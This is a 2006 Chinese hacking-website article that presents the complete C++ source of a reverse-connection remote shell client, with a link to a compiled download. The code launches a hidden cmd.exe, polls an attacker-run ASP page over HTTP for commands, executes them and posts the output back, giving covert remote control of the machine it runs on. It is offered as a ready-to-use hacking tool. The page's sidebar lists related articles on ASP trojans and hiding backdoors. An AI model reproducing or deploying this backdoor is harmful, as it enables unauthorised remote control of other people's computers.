黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑软介绍 >> 文章正文
[推荐]用ASP实现反向连接控制
        ★★★★★
用ASP实现反向连接控制
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-29
 
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互,实现反向连接
//

#include "stdafx.h"
#include "shell.h"
#include "afxinet.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#define BUFFER_SIZE 1024 // 读缓冲区大小
/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;

CString URLEncode(const char* s); // URL 编码函数
BOOL PostRequest(const char *szFormData, char *szResult); // 向控制端发送请求函数
void DoShell(); // 与cmd.exe进行交互函数
char szServer[50], szPath[50]; // 公用变量

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
 int nRetCode = 0;

 // initialize MFC and print and error on failure
 if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
 {
 // TODO: change error code to suit your needs
 cerr << _T("Fatal Error: MFC initialization failed") << endl;
 nRetCode = 1;
 }
 printf("ASP Console Client By CoolDiyer\n");
 if (argc == 3)
 {
 memset(szServer, 0, sizeof(szServer));
 memset(szPath, 0, sizeof(szPath));
 strcpy(szServer, argv[1]);
 strcpy(szPath, argv[2]);
 }
 else
 {
 printf("Usage:\n\trshell <Server> <Path>\nExp.\n\trshell www.abc.com /x.asp\n");
 return -1;
 }
 char szResult[1024];
 PostRequest("act=login", szResult); //登录
 DoShell(); // 执行与cmd.exe的交互
 PostRequest("act=exit", szResult); //退出
 return nRetCode;
}

//
// URL编码函数,返回一个CString变量
//

CString URLEncode(const char* s)
{
 CString encoded = "";
 int len = strlen(s);
 char* buf = new char[16]; // way longer than needed
 unsigned char c;
 
 for(int i=0; i < len; i++)
 {
 c = s[i];
 if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
 (c >= '0' && c <= '9') || c == '.' || c == '-' || c == '_')
 {
 sprintf(buf, "%c", c);
 encoded += buf;
 continue;
 }
 if(c == ' ')
 {
 sprintf(buf, "%c", '+');
 encoded += buf;
 continue;
 }
 sprintf(buf, "%.2X", c);
 encoded += "%";
 encoded += buf;
 }

 delete[] buf;
 return encoded;
}

//
// 表单发送函数,核心例程,返回接收到的内容,也就是要执行的命令
//

BOOL PostRequest(const char *szFormData, char *szResult)
{
 unsigned int uRetry = 3; //重试三次
 try{
loop:
 CInternetSession session;
 CHttpConnection *pConnection = session.GetHttpConnection(szServer);
 CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, szPath);
 // AddRequestHeaders是必要的
 pFile->AddRequestHeaders("Content-Type: application/x-www-form-urlencoded");
 CString szData;

 if (pFile -> SendRequest(NULL,0,(LPVOID) szFormData, strlen(szFormData)+1))
 {
 while(pFile->ReadString(szData))
 {
 if (szResult != NULL)
 strcpy(szResult, szData.GetBuffer(0));
 }
 pFile->Close();
 }
 session.Close();
 }
 catch(...){
 if (uRetry --)
 goto loop;
 }
 return TRUE;
}

//
// 让cmd.exe与ASP控制端进行交互的核心例程
//

void DoShell()
{
 int ret;

 SECURITY_ATTRIBUTES sa;
 
 sa.nLength = sizeof( sa );
 sa.lpSecurityDescriptor = 0;
 sa.bInheritHandle = TRUE;
 
 HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;

 ret=CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0);
 ret=CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0);
 
 STARTUPINFO si;
 ZeroMemory(&si, sizeof(si));

 GetStartupInfo(&si);
 
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;
 si.hStdInput = hReadPipe2;
 si.hStdOutput = si.hStdError = hWritePipe1;
 
 PROCESS_INFORMATION processInfo;
 
 char cmdLine[] = "cmd.exe";

 ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
 ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo);
 
 char buff[BUFFER_SIZE] = { 0 };
 char szTmp[BUFFER_SIZE*3]; // 因为要把结果进行编码,所以缓冲区相对要大
 unsigned long bytesRead = 0;
 int i = 0;

 while (TRUE)
 {
 memset(buff, 0, BUFFER_SIZE);
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0);
 
 for (i = 0; i < 5 && bytesRead == 0; i++)
 {
 Sleep(100);
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL);
 }
 
 if (bytesRead)
 {
 ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
 if (!ret) break;
 memset(szTmp, 0, sizeof(szTmp));
 strcpy(szTmp, "result=");
 strcat(szTmp, URLEncode(buff).GetBuffer(0));
 printf("%s", szTmp);
 PostRequest(szTmp, NULL); // 发送命令执行结果
 printf("Post command result ok\n");
 }
 else
 {
 // 得到要执行的命令
 do
 {
 PostRequest("get=yes", buff);
 printf("get command\n");
 ::Sleep(1000); // 间隔为1秒
 }
 while (strlen(buff) <= 0);
 printf("%s\n", buff);
 // 命令为exit则退出
 if (strcmp(buff, "exit") == 0) break; // 程序退出

 strcat(buff, "\n"); // 加上换行
 bytesRead = strlen(buff);
 printf("execute command %s", buff);
 // 执行命令
 WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0);
 }
 }

 TerminateProcess(processInfo.hProcess, 0);

 CloseHandle(hReadPipe1);
 CloseHandle(hReadPipe2);
 CloseHandle(hWritePipe1);
 CloseHandle(hWritePipe2);
}
备注:
以上代码可能因过滤而显示错误,请下载压缩包(含全部源代码和编译好的程序):aspconsole

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    抽根憋闷烟的心声
    学习网页制作的理由
    加入终身会员的理由!!!
    学习黑客编程的5大理由
    学习免杀的6大理由
    学习软件破解的理由
    会员账号开通查询
    常见问题解答
    汇款向导
    学员报名咨询
    最 新 热 门
    OllyDBG破解工具入门教程02-06
    3389密码的嗅探02-06
    防黑之阻断基于PcAnyWhere的攻击01-11
    取代NBSI2:Opendatasource And 01-08
    黑洞远程控制软件V1.0(黑洞200712-11
    远离QQ木马威胁!QQ医生新品试用12-07
    网络分析专家sniffer之流量扫描篇12-04
    病毒终结者 卡巴斯基6.0闪亮登场11-30
    Discuz论坛爆物理路径原理+工具11-28
    精品后门程序介绍及思路分板10-30
    IISPutScanner v1.0扫描入侵工具10-20
    通用php远程文件包含漏洞获取web10-16
    相 关 文 章
  • Linux操作系统中超级权限控制的应用

  • 打造不死的asp木马

  • ASP中SQL Injection的初级防护(完整总结

  • Windows 2003 Enterprise Edition IIS6

  • js asp c# 防止sql注入

  • 动态网站Web开发PHP、ASP还是ASP.NET

  • PHP和ASP上传漏洞探究

  • 阻止服务器上运行ASP木马

  • TCP端口扫描的ASP实现

  • 反利用万象控制整个网吧

  • 使用ASP下载SQL数据库

  • 隐藏ASP后门的两种方法

  • Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886